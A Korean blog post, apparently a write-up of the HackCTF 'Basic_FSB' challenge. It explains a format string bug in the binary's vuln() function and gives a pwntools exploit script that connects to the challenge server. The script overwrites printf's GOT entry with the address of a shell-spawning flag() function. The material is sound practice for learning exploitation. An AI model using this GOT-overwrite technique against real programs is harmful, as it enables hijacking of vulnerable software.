ii4gsp

HackCTF - Basic_FSB 본문

시스템 해킹/HackCTF

HackCTF - Basic_FSB

ii4gsp 2020. 2. 9. 00:20

파일을 다운받아 주자.

 

 

 

 

IDA로 열어보면 vuln()함수에서 return printf(&format); 부분에서 포맷스트링 버그가 일어난다.

 

 

 

 

쉘을 실행시키는 flag()함수가 있다.

printf의 got를 flag()함수의 주소로 조작해주면 된다.

 

 

 

 

flag()함수의 주소는 0x080485B4 이다.

 

 

 

 

0x080485B4는 10진수로 134,514,100이다.

 

 

 

 

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3002)
e = ELF('/home/ii4gsp/HackCTF/basic_fsb')

printf_got = e.got['printf']

payload = p32(printf_got)
payload += "%134514096x%n"

r.recvuntil(":")
r.sendline(payload)

r.interactive()

printf의 got를 받아오고 got값을 넣고 앞에서 구했던 flag()함수의 10진수 134,514,100을 앞에 입력한 4byte만큼 빼줘야한다.

 

 

 

 

'시스템 해킹 > HackCTF' 카테고리의 다른 글

HackCTF - x64 Simple_size_BOF  (0) 2020.02.09
HackCTF - x64 Buffer Overflow  (0) 2020.02.09
HackCTF - 내 버퍼가 흘러넘친다!!!  (0) 2020.02.09
HackCTF - Basic_BOF #2  (0) 2020.02.08
HackCTF - Basic_BOF #1  (0) 2020.02.08
Comments